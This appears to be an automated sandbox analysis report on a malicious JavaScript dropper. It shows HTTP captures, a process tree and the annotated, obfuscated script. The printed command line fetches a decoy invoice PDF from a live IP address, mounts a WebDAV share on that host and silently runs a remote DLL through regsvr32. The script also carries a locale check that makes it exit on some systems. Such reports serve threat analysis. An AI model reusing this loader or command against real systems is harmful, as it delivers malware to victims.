Jan 11, 2025 06:08:58.238189936 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:08:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:08:58.238210917 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:08:58.238224030 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:08:58.238270044 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 06:08:58.238281965 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 06:08:58.238293886 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 06:08:58.238307953 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 06:08:58.238323927 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 06:08:58.238394022 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 06:08:58.238408089 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 06:08:58.243196964 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	5776	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:09:00.014014959 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:09:00.840656996 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:09:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	00:08:53
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js"
Imagebase:	0x7ff60af70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:08:53
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Imagebase:	0x7ff604a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:08:53
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:08:54
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:08:58
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:08:58
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff604a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:08:58
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ce1a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:08:59
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:08:59
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:08:59
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,5949996619656126353,16474558184408985935,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ixmdhglv() {	ixmdhglv() ➔ undefined
1	ljmhsc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zgczwbdei = this[usxkohlbi + fhrdbuux + sypevh + rmevsapu + lpclngnf + kkopahq + iiqefo + usdlhmp] ( this[inkwjjn + yhhtu + dujfweoxu + sypevh + whvhhimek + usxkohlbi + usdlhmp][zqcyt + sypevh + lpclngnf + fhrdbuux + usdlhmp + lpclngnf + agwnhyrp + fsbwamze + cgniktgkl + lpclngnf + dujfweoxu + usdlhmp] ( inkwjjn + yhhtu + dujfweoxu + sypevh + whvhhimek + usxkohlbi + usdlhmp + avcfj + yhhtu + vzfltmi + lpclngnf + endfeia + endfeia ) [rsvuw + lpclngnf + zoiouonok + rsvuw + lpclngnf + fhrdbuux + hidtbvzc] ( otesqr + vkzynodk + dngyjux + pognz + wdexgao + zqcyt + iteegotp + rsvuw + rsvuw + dngyjux + rmygtsg + ywsae + wdexgao + iteegotp + yhhtu + dngyjux + rsvuw + ndyycv + zqcyt + nvojeyh + iiqefo + usdlhmp + sypevh + nvojeyh + endfeia + omtvjuyna + ucoofca + fhrdbuux + iiqefo + lpclngnf + endfeia + ndyycv + kkopahq + iiqefo + usdlhmp + lpclngnf + sypevh + iiqefo + fhrdbuux + usdlhmp + whvhhimek + nvojeyh + iiqefo + fhrdbuux + endfeia + ndyycv + czqdrvonn + nvojeyh + dujfweoxu + fhrdbuux + endfeia + lpclngnf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cffzpeera = 0 ; cffzpeera < ljmhsc[endfeia + lpclngnf + iiqefo + zoiouonok + usdlhmp + vzfltmi] ; ++ cffzpeera )
4	{
5	if ( zgczwbdei == ljmhsc[cffzpeera] )
6	{
7	zgczwbdei = true;
8	break ;
9	}
10	}
11	if ( zgczwbdei !== true )
12	this[inkwjjn + yhhtu + dujfweoxu + sypevh + whvhhimek + usxkohlbi + usdlhmp][vvcjmf + pklnfy + whvhhimek + usdlhmp] ( );
13	this[inkwjjn + yhhtu + dujfweoxu + sypevh + whvhhimek + usxkohlbi + usdlhmp][zqcyt + sypevh + lpclngnf + fhrdbuux + usdlhmp + lpclngnf + agwnhyrp + fsbwamze + cgniktgkl + lpclngnf + dujfweoxu + usdlhmp] ( inkwjjn + yhhtu + dujfweoxu + sypevh + whvhhimek + usxkohlbi + usdlhmp + avcfj + yhhtu + vzfltmi + lpclngnf + endfeia + endfeia ) [sypevh + pklnfy + iiqefo] ( dujfweoxu + ecbjvw + hidtbvzc + omtvjuyna + plxugg + dujfweoxu + omtvjuyna + usxkohlbi + nvojeyh + krrdtgato + lpclngnf + sypevh + rmevsapu + vzfltmi + lpclngnf + endfeia + endfeia + avcfj + lpclngnf + jtjkynm + lpclngnf + omtvjuyna + bfvichh + zqcyt + nvojeyh + ecbjvw + ecbjvw + fhrdbuux + iiqefo + hidtbvzc + omtvjuyna + grozg + kkopahq + iiqefo + zzbswx + nvojeyh + ejeqtnri + lpclngnf + bfvichh + inkwjjn + lpclngnf + fsbwamze + rsvuw + lpclngnf + fumsyw + pklnfy + lpclngnf + rmevsapu + usdlhmp + omtvjuyna + bfvichh + agwnhyrp + pklnfy + usdlhmp + czeigm + whvhhimek + endfeia + lpclngnf + omtvjuyna + jlbqnwd + usdlhmp + lpclngnf + ecbjvw + usxkohlbi + jlbqnwd + ndyycv + whvhhimek + iiqefo + zzbswx + nvojeyh + whvhhimek + dujfweoxu + lpclngnf + avcfj + usxkohlbi + hidtbvzc + isluk + omtvjuyna + vzfltmi + usdlhmp + usdlhmp + usxkohlbi + sjhwf + plxugg + plxugg + xvsvli + gvjqpxv + jcbkce + avcfj + xvsvli + vrprfzflk + jcbkce + avcfj + xvsvli + avcfj + srnhckzr + nvwxs + sacuqnf + plxugg + whvhhimek + iiqefo + zzbswx + nvojeyh + whvhhimek + dujfweoxu + lpclngnf + avcfj + usxkohlbi + vzfltmi + usxkohlbi + grozg + ubypzu + ubypzu + rmevsapu + usdlhmp + fhrdbuux + sypevh + usdlhmp + omtvjuyna + jlbqnwd + usdlhmp + lpclngnf + ecbjvw + usxkohlbi + jlbqnwd + ndyycv + whvhhimek + iiqefo + zzbswx + nvojeyh + whvhhimek + dujfweoxu + lpclngnf + avcfj + usxkohlbi + hidtbvzc + isluk + ubypzu + ubypzu + dujfweoxu + ecbjvw + hidtbvzc + omtvjuyna + plxugg + dujfweoxu + omtvjuyna + iiqefo + lpclngnf + usdlhmp + omtvjuyna + pklnfy + rmevsapu + lpclngnf + omtvjuyna + ndyycv + ndyycv + xvsvli + gvjqpxv + jcbkce + avcfj + xvsvli + vrprfzflk + jcbkce + avcfj + xvsvli + avcfj + srnhckzr + nvwxs + sacuqnf + yshpeiv + houkgkyn + houkgkyn + houkgkyn + houkgkyn + ndyycv + hidtbvzc + fhrdbuux + zzbswx + krrdtgato + krrdtgato + krrdtgato + sypevh + nvojeyh + nvojeyh + usdlhmp + ndyycv + ubypzu + ubypzu + dujfweoxu + ecbjvw + hidtbvzc + omtvjuyna + plxugg + dujfweoxu + omtvjuyna + sypevh + lpclngnf + zoiouonok + rmevsapu + zzbswx + sypevh + jcbkce + srnhckzr + omtvjuyna + plxugg + rmevsapu + omtvjuyna + ndyycv + ndyycv + xvsvli + gvjqpxv + jcbkce + avcfj + xvsvli + vrprfzflk + jcbkce + avcfj + xvsvli + avcfj + srnhckzr + nvwxs + sacuqnf + yshpeiv + houkgkyn + houkgkyn + houkgkyn + houkgkyn + ndyycv + hidtbvzc + fhrdbuux + zzbswx + krrdtgato + krrdtgato + krrdtgato + sypevh + nvojeyh + nvojeyh + usdlhmp + ndyycv + jcbkce + nvwxs + gvjqpxv + gvjqpxv + jcbkce + srnhckzr + xvsvli + sacuqnf + xvsvli + vrprfzflk + jcbkce + lldrqqw + gvjqpxv + lldrqqw + avcfj + hidtbvzc + endfeia + endfeia, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll",0,false) ➔ 0
14	}
15	grozg = "Z";
16	grozg = "h";
17	grozg = "a";
18	grozg = "\"";
19	dujfweoxu = "J";
20	dujfweoxu = "B";
21	dujfweoxu = "P";
22	dujfweoxu = "q";
23	dujfweoxu = "L";
24	dujfweoxu = "Z";
25	dujfweoxu = "X";
26	dujfweoxu = "e";
27	dujfweoxu = "D";
28	dujfweoxu = "H";
29	dujfweoxu = "Y";
30	dujfweoxu = "X";
31	dujfweoxu = "v";
32	dujfweoxu = "p";
33	dujfweoxu = "c";
34	avcfj = "O";
35	avcfj = "E";
36	avcfj = "R";
37	avcfj = "v";
38	avcfj = "K";
39	avcfj = "w";
40	avcfj = "f";
41	avcfj = "V";
42	avcfj = "E";
43	avcfj = "f";
44	avcfj = "k";
45	avcfj = "v";
46	avcfj = "n";
47	avcfj = "Q";
48	avcfj = "i";
49	avcfj = ".";
50	iteegotp = "W";
51	iteegotp = "o";
52	iteegotp = "f";
53	iteegotp = "r";
54	iteegotp = "i";
55	iteegotp = "U";
56	iteegotp = "x";
57	iteegotp = "O";
58	iteegotp = "o";
59	iteegotp = "K";
60	iteegotp = "x";
61	iteegotp = "E";
62	iteegotp = "P";
63	iteegotp = "I";
64	iteegotp = "e";
65	iteegotp = "U";
66	zzbswx = "g";
67	zzbswx = "c";
68	zzbswx = "o";
69	zzbswx = "p";
70	zzbswx = "p";
71	zzbswx = "g";
72	zzbswx = "q";
73	zzbswx = "i";
74	zzbswx = "z";
75	zzbswx = "E";
76	zzbswx = "W";
77	zzbswx = "z";
78	zzbswx = "a";
79	zzbswx = "p";
80	zzbswx = "W";
81	zzbswx = "l";
82	zzbswx = "g";
83	zzbswx = "l";
84	zzbswx = "J";
85	zzbswx = "Z";
86	zzbswx = "P";
87	zzbswx = "T";
88	zzbswx = "v";
89	bfvichh = "-";
90	jtjkynm = "D";
91	jtjkynm = "Q";
92	jtjkynm = "V";
93	jtjkynm = "z";
94	jtjkynm = "W";
95	jtjkynm = "u";
96	jtjkynm = "H";
97	jtjkynm = "H";
98	jtjkynm = "q";
99	jtjkynm = "C";
100	jtjkynm = "P";
101	jtjkynm = "o";
102	jtjkynm = "f";
103	jtjkynm = "L";
104	jtjkynm = "k";
105	jtjkynm = "e";
106	jtjkynm = "e";
107	jtjkynm = "E";
108	jtjkynm = "H";
109	jtjkynm = "A";
110	jtjkynm = "x";
111	cgniktgkl = "p";
112	cgniktgkl = "I";
113	cgniktgkl = "k";
114	cgniktgkl = "p";
115	cgniktgkl = "R";
116	cgniktgkl = "Y";
117	cgniktgkl = "k";
118	cgniktgkl = "b";
119	cgniktgkl = "Y";
120	cgniktgkl = "C";
121	cgniktgkl = "b";
122	cgniktgkl = "r";
123	cgniktgkl = "V";
124	cgniktgkl = "R";
125	cgniktgkl = "q";
126	cgniktgkl = "F";
127	cgniktgkl = "P";
128	cgniktgkl = "B";
129	cgniktgkl = "f";
130	cgniktgkl = "z";
131	cgniktgkl = "k";
132	cgniktgkl = "F";
133	cgniktgkl = "R";
134	cgniktgkl = "A";
135	cgniktgkl = "T";
136	cgniktgkl = "F";
137	cgniktgkl = "B";
138	cgniktgkl = "P";
139	cgniktgkl = "i";
140	cgniktgkl = "X";
141	cgniktgkl = "Y";
142	cgniktgkl = "k";
143	cgniktgkl = "O";
144	cgniktgkl = "I";
145	cgniktgkl = "n";
146	cgniktgkl = "p";
147	cgniktgkl = "P";
148	cgniktgkl = "W";
149	cgniktgkl = "g";
150	cgniktgkl = "j";
151	vvcjmf = "w";
152	vvcjmf = "k";
153	vvcjmf = "N";
154	vvcjmf = "p";
155	vvcjmf = "f";
156	vvcjmf = "E";
157	vvcjmf = "T";
158	vvcjmf = "q";
159	vvcjmf = "t";
160	vvcjmf = "e";
161	vvcjmf = "u";
162	vvcjmf = "G";
163	vvcjmf = "m";
164	vvcjmf = "D";
165	vvcjmf = "N";
166	vvcjmf = "M";
167	vvcjmf = "e";
168	vvcjmf = "q";
169	vvcjmf = "z";
170	vvcjmf = "l";
171	vvcjmf = "j";
172	vvcjmf = "i";
173	vvcjmf = "q";
174	vvcjmf = "k";
175	vvcjmf = "p";
176	vvcjmf = "Q";
177	fumsyw = "z";
178	fumsyw = "R";
179	fumsyw = "Z";
180	fumsyw = "K";
181	fumsyw = "U";
182	fumsyw = "U";
183	fumsyw = "e";
184	fumsyw = "p";
185	fumsyw = "K";
186	fumsyw = "O";
187	fumsyw = "X";
188	fumsyw = "q";
189	pklnfy = "a";
190	pklnfy = "O";
191	pklnfy = "C";
192	pklnfy = "y";
193	pklnfy = "t";
194	pklnfy = "e";
195	pklnfy = "w";
196	pklnfy = "h";
197	pklnfy = "u";
198	pklnfy = "C";
199	pklnfy = "s";
200	pklnfy = "T";
201	pklnfy = "L";
202	pklnfy = "A";
203	pklnfy = "F";
204	pklnfy = "b";
205	pklnfy = "d";
206	pklnfy = "w";
207	pklnfy = "F";
208	pklnfy = "V";
209	pklnfy = "F";
210	pklnfy = "Q";
211	pklnfy = "v";
212	pklnfy = "C";
213	pklnfy = "A";
214	pklnfy = "k";
215	pklnfy = "u";
216	ndyycv = "e";
217	ndyycv = "C";
218	ndyycv = "d";
219	ndyycv = "r";
220	ndyycv = "C";
221	ndyycv = "e";
222	ndyycv = "D";
223	ndyycv = "p";
224	ndyycv = "D";
225	ndyycv = "a";
226	ndyycv = "\\";
227	houkgkyn = "J";
228	houkgkyn = "F";
229	houkgkyn = "v";
230	houkgkyn = "P";
231	houkgkyn = "N";
232	houkgkyn = "Z";
233	houkgkyn = "J";
234	houkgkyn = "B";
235	houkgkyn = "W";
236	houkgkyn = "i";
237	houkgkyn = "B";
238	houkgkyn = "t";
239	houkgkyn = "C";
240	houkgkyn = "Q";
241	houkgkyn = "8";
242	fsbwamze = "C";
243	fsbwamze = "R";
244	fsbwamze = "H";
245	fsbwamze = "j";
246	fsbwamze = "t";
247	fsbwamze = "c";
248	fsbwamze = "Y";
249	fsbwamze = "W";
250	fsbwamze = "v";
251	fsbwamze = "e";
252	fsbwamze = "A";
253	fsbwamze = "p";
254	fsbwamze = "b";
255	jcbkce = "r";
256	jcbkce = "d";
257	jcbkce = "U";
258	jcbkce = "g";
259	jcbkce = "S";
260	jcbkce = "Y";
261	jcbkce = "r";
262	jcbkce = "j";
263	jcbkce = "B";
264	jcbkce = "t";
265	jcbkce = "m";
266	jcbkce = "g";
267	jcbkce = "o";
268	jcbkce = "M";
269	jcbkce = "3";
270	rsvuw = "h";
271	rsvuw = "n";
272	rsvuw = "m";
273	rsvuw = "l";
274	rsvuw = "R";
275	rsvuw = "u";
276	rsvuw = "I";
277	rsvuw = "R";
278	rsvuw = "S";
279	rsvuw = "L";
280	rsvuw = "y";
281	rsvuw = "q";
282	rsvuw = "V";
283	rsvuw = "P";
284	rsvuw = "o";
285	rsvuw = "G";
286	rsvuw = "y";
287	rsvuw = "a";
288	rsvuw = "F";
289	rsvuw = "p";
290	rsvuw = "Y";
291	rsvuw = "r";
292	rsvuw = "x";
293	rsvuw = "d";
294	rsvuw = "R";
295	yhhtu = "v";
296	yhhtu = "d";
297	yhhtu = "W";
298	yhhtu = "X";
299	yhhtu = "z";
300	yhhtu = "f";
301	yhhtu = "L";
302	yhhtu = "r";
303	yhhtu = "l";
